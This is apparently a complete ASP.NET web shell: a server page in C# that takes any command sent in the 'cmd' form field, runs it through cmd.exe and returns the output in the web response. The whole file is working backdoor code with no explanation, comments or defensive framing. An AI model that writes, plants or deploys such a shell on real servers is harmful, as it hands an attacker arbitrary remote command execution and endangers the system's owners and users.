<% 
    if (Request.Form["cmd"] != null) {
        System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = "/c " + Request.Form["cmd"];
        psi.RedirectStandardOutput = true;
        psi.UseShellExecute = false;
        System.Diagnostics.Process p = System.Diagnostics.Process.Start(psi);
        Response.Write(p.StandardOutput.ReadToEnd());
        p.WaitForExit();
    }
%>